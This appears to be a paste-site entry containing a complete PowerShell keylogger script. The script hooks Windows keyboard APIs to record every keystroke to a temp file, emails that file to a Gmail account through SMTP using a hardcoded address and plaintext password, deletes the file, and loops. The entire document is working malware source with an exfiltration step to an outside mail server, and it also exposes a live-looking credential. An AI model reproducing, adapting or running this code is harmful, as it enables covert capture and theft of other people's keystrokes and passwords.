· 6 years ago · Dec 02, 2019, 11:54 PM
1keystrokes-NEW.ps1
2
3# Edit only this section!
4
5$TimesToRun = 2
6
7$RunTimeP = 1
8
9$From = "keyloggerfiu@gmail.com"
10
11$Pass = "Yxcvbnm12!"
12
13$To = "keyloggerfiu@gmail.com"
14
15$Subject = "Keylogger Results"
16
17$body = "Keylogger Results"
18
19$SMTPServer = "smtp.gmail.com"
20
21$SMTPPort = "587"
22
23$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
24
25############################
26
27
28
29
30
31$TimeStart = Get-Date
32
33$TimeEnd = $timeStart.addminutes($RunTimeP)
34
35
36
37#requires -Version 2
38
39function Start-KeyLogger($Path="$env:temp\keylogger.txt")
40
41{
42
43 # Signatures for API Calls
44
45 $signatures = @'
46
47[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
48
49public static extern short GetAsyncKeyState(int virtualKeyCode);
50
51[DllImport("user32.dll", CharSet=CharSet.Auto)]
52
53public static extern int GetKeyboardState(byte[] keystate);
54
55[DllImport("user32.dll", CharSet=CharSet.Auto)]
56
57public static extern int MapVirtualKey(uint uCode, int uMapType);
58
59[DllImport("user32.dll", CharSet=CharSet.Auto)]
60
61public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
62
63'@
64
65
66
67 # load signatures and make members available
68
69 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
70
71
72
73 # create output file
74
75 $null = New-Item -Path $Path -ItemType File -Force
76
77
78
79 try
80
81 {
82
83
84
85 # create endless loop. When user presses CTRL+C, finally-block
86
87 # executes and shows the collected key presses
88
89 $Runner = 0
90
91 while ($TimesToRun -ge $Runner) {
92
93 while ($TimeEnd -ge $TimeNow) {
94
95 Start-Sleep -Milliseconds 40
96
97
98
99 # scan all ASCII codes above 8
100
101 for ($ascii = 9; $ascii -le 254; $ascii++) {
102
103 # get current key state
104
105 $state = $API::GetAsyncKeyState($ascii)
106
107
108
109 # is key pressed?
110
111 if ($state -eq -32767) {
112
113 $null = [console]::CapsLock
114
115
116
117 # translate scan code to real code
118
119 $virtualKey = $API::MapVirtualKey($ascii, 3)
120
121
122
123 # get keyboard state for virtual keys
124
125 $kbstate = New-Object Byte[] 256
126
127 $checkkbstate = $API::GetKeyboardState($kbstate)
128
129
130
131 # prepare a StringBuilder to receive input key
132
133 $mychar = New-Object -TypeName System.Text.StringBuilder
134
135
136
137 # translate virtual key
138
139 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
140
141
142
143 if ($success)
144
145 {
146
147 # add key to logger file
148
149 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
150
151 }
152
153 }
154
155 }
156
157 $TimeNow = Get-Date
158
159 }
160
161 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
162
163 Remove-Item -Path $Path -force
164
165 }
166
167 }
168
169 finally
170
171 {
172
173 # open logger file in Notepad
174
175 exit 1
176
177 }
178
179}
180
181
182
183# records all key presses until script is aborted by pressing CTRL+C
184
185# will then open the file with collected key codes
186
187Start-KeyLogger